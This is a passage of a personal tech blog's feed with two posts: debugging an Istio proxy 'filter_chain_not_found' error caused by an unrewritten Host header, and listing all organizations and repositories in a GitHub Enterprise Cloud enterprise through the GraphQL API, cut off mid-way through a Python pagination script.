   <updated>2023-08-10T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/08/10/istio-proxy-hostname-mismatch-error</id>
   <content type="html">&lt;p&gt;I deployed a vendor’s software on kubernetes and the website showed this error message:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;upstream connect error or disconnect/reset before headers. reset reason: connection termination
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;istio-proxy&lt;/code&gt; sidecar logs on the Pod I could see an error message:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl logs &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; istio-proxy app-ui-543875cf14-a2b33
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2023-08-09T06:06:22.268Z] &lt;span class=&quot;s2&quot;&gt;&quot;- - -&quot;&lt;/span&gt; 0 NR filter_chain_not_found - &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; 0 0 0 - &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt; - - 10.20.223.206:8080 10.20.221.213:42304 - -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;!--break--&gt;

&lt;p&gt;The app was setup like this: the request hit the istio ingress, which forwarded the request to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-gateway&lt;/code&gt; Service. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-gateway&lt;/code&gt; Pod then routed the request to the approriate Service (acting essentially as a reverse proxy).&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-gateway&lt;/code&gt; Pod could reach &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-ui&lt;/code&gt; via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; just fine:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; app-gateway-78954c5f7b-5pwt5 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; curl &lt;span class=&quot;s1&quot;&gt;&apos;http://app-ui:8080&apos;&lt;/span&gt;
&amp;lt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;DOCTYPE html&amp;gt;
&amp;lt;html &lt;span class=&quot;nv&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
  &amp;lt;&lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The issue turned out to be this: when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-gateway&lt;/code&gt; forwarded the request, it didn’t rewrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host&lt;/code&gt; header. This is not an issue on normal kubernetes deployments, but istio’s envoy sidecar checks the Host header and as that didn’t match the Pod (the hostname only had a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualService&lt;/code&gt; entry pointing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app-gateway&lt;/code&gt;), it didn’t forward the request.&lt;/p&gt;

&lt;p&gt;Setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host&lt;/code&gt; header manually resulted in the original error message:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; app-gateway-78954c5f7b-5pwt5 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; curl &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Host: my-app.example.com&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;http://app-ui:8080&apos;&lt;/span&gt;
upstream connect error or disconnect/reset before headers. reset reason: connection termination
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Solution: gateway needed to rewrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host&lt;/code&gt; header to match the destination hostname, in this case: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://app-ui:8080&lt;/code&gt;. One this was done, it started to work as expected.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to get all repositories of an enterprise on GitHub Enterprise Cloud</title>
   <link href="https://szabo.jp/2023/08/06/get-all-repositories-of-an-enterprise-on-github-enterprise-cloud/"/>
   <updated>2023-08-06T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/08/06/get-all-repositories-of-an-enterprise-on-github-enterprise-cloud</id>
   <content type="html">&lt;p&gt;GitHub Enterprise Cloud is an enterprise version of GitHub.com “designed for large businesses or teams who collaborate on GitHub.com”(&lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud&quot;&gt;source&lt;/a&gt;).
There is a strong emphasis on security, which extends to strong limits on programmatic access, especially to enterprise-wide resources, so getting all organizations or all repositories of the enterprise becomes non-trivial.
This guide will describe how to do just these.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;goal&quot;&gt;Goal&lt;/h1&gt;

&lt;p&gt;The goal is to get all current and future organizations and repositories that belong to the enterprise. It needs to handle new organizations added without additional configuration.&lt;/p&gt;

&lt;p&gt;So on a high level: we need an identity with enough permissions to access these resources, then use that identity to call an API. &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/rest/overview/about-githubs-apis?apiVersion=2022-11-28&quot;&gt;GitHub has a REST API&lt;/a&gt; that looks like it could work.&lt;/p&gt;

&lt;h1 id=&quot;what-doesnt-work&quot;&gt;What doesn’t work&lt;/h1&gt;

&lt;p&gt;While the docs mention &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/get-started/learning-about-github/types-of-github-accounts#:~:text=Tip%3A%20Personal%20accounts%20are%20intended%20for%20humans%2C%20but%20you%20can%20create%20accounts%20to%20automate%20activity%20on%20GitHub%20Enterprise%20Cloud.%20This%20type%20of%20account%20is%20called%20a%20machine%20user.%20For%20example%2C%20you%20can%20create%20a%20machine%20user%20account%20to%20automate%20continuous%20integration%20(CI)%20workflows.&quot;&gt;the use-case of machine accounts&lt;/a&gt; these use licenses, so it is generally recommended &lt;a href=&quot;https://josh-ops.com/posts/github-apps/&quot;&gt;to use GitHub Apps instead&lt;/a&gt;. However GitHub Apps can &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/apps/using-github-apps/installing-your-own-github-app&quot;&gt;only be installed either on repositories or on organizations&lt;/a&gt;, so while this could work, it would need to be installed on all new orgs manually (there doesn’t seem to be any API that would install GitHub apps). So we have to use machine accounts.&lt;/p&gt;

&lt;p&gt;Authenticating with a machine account’s username and password is &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/rest/overview/authenticating-to-the-rest-api?apiVersion=2022-11-28#authenticating-with-username-and-password&quot;&gt;not supported&lt;/a&gt;, so we have to use tokens.&lt;/p&gt;

&lt;p&gt;There are two types of tokens:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fine-grained personal access tokens&lt;/code&gt;: these are &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#:~:text=Each%20token%20can%20only%20access%20resources%20owned%20by%20a%20single%20user%20or%20organization.&quot;&gt;scoped to a single organization&lt;/a&gt;, so won’t work for us&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Personal access tokens (classic)&lt;/code&gt;: these are &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#:~:text=Only%20personal%20access%20tokens%20(classic)%20can%20access%20enterprises&quot;&gt;can access the entire enterprise&lt;/a&gt;, so generating them for a machine account that has sufficient permissions coud work. However there is a problem if orgs in the enterprise enforce SAML single sign-on (SSO) for authentication: &lt;a href=&quot;https://docs.github.com/en/enterprise-cloud@latest/rest/overview/authenticating-to-the-rest-api?apiVersion=2022-11-28#authenticating-with-username-and-password:~:text=If%20you%20use%20a%20personal%20access%20token%20(classic)%20to%20access%20an%20organization%20that%20enforces%20SAML%20single%20sign%2Don%20(SSO)%20for%20authentication%2C%20you%20will%20need%20to%20authorize%20your%20token%20after%20creation.&quot;&gt;one needs to authorize the token for each of these orgs manually&lt;/a&gt;. This again doesn’t fit our use-case.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;graphql-to-the-rescue&quot;&gt;GraphQL to the rescue&lt;/h1&gt;

&lt;p&gt;So all of the above is based on the REST API docs, but Gihub also has a GraphQL API with different controls on the token. One can get all orgs of an enterprise using this query:&lt;/p&gt;

&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enterprise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;NAME_OF_THE_ENTERPRISE&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nodes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately this doesn’t work with GitHub Apps, however it works with any user of the enterprise and it returns all organizations, including the ones the user is not a member of.&lt;/p&gt;

&lt;p&gt;To try it generate a classic PAT for your account with the following scopes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read:enterprise&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read:org&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repo:status&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public_repo&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(Some of these are only required for getting the repos too, so if you only need the list of orgs, you won’t need all of them). Authorize the token for just one organization (again this might only be necessary for getting the repos), then run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: bearer &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PAT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
 { &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;query {enterprise(slug:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;NAME_OF_THE_ENTERPRISE&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;) {organizations(first: 100) {nodes { login } } } }&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
 } &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&quot;&lt;/span&gt; https://api.github.com/graphql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Going one step further, we can also query all the repositories within the org:&lt;/p&gt;

&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enterprise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;NAME_OF_THE_ENTERPRISE&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nodes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repositories&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nodes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or the same with curl:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: bearer &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PAT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
 { &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;query {enterprise(slug:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;NAME_OF_THE_ENTERPRISE&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;) {organizations(first: 100) {nodes { login, repositories(first: 100){nodes{name}}  } } } }&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
 } &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&quot;&lt;/span&gt; https://api.github.com/graphql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The interesting thing is that even if the PAT is only authorized for a single organization, this will return repositories for all organizations (assuming the user has permissions to see them). This means that running this with a machine user that is enterprise admin should return all repositories.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sidenote&lt;/strong&gt;: if you want the repository name to include the org (so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;octo-org/octo-repo&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;octo-repo&lt;/code&gt;), use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nameWithOwner&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;. Of course you can also reconstruct it from the org &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login&lt;/code&gt; and the repo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;final-hurdle-pagination&quot;&gt;Final hurdle: pagination&lt;/h2&gt;

&lt;p&gt;The above query works, however it only returns the first 100 organizations, and the first 100 repositories for each of those organizations. (This is a limitation of the GitHub GraphQL API so setting it to a higher number won’t work.) This might be an acceptable limitation for some usecases, but if there is a chance of having more than 100 orgs or more than 100 repositories in an org, then we need to handle pagination.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://til.simonwillison.net/github/graphql-pagination-python&quot;&gt;This guide&lt;/a&gt; describes how to paginate through the GitHub GraphQL API with Python, so applying it to our GraphQL calls I put together this script:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;yaml&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;python_graphql_client&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GraphqlClient&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;GH_PAT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;GH_PAT&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GraphqlClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endpoint&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://api.github.com/graphql&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Pagination based on
# https://til.simonwillison.net/github/graphql-pagination-python
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_orgs_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    query {
        enterprise(slug: &quot;NAME_OF_THE_ENTERPRISE&quot;) {
            organizations(first: 100, after:AFTER) {
                nodes {
                    login
                }
                pageInfo {
                    hasNextPage
                    endCursor
                }
            }
        }
    }
    &quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;AFTER&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;null&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_repos_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    query {
        organization(login: &quot;ORGNAME&quot;) {
            repositories(first: 100, after:AFTER) {
                nodes {
                    name
                }
                pageInfo {
                    hasNextPage
                    endCursor
                }
            }
      }
    }
    &quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;ORGNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org_name&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
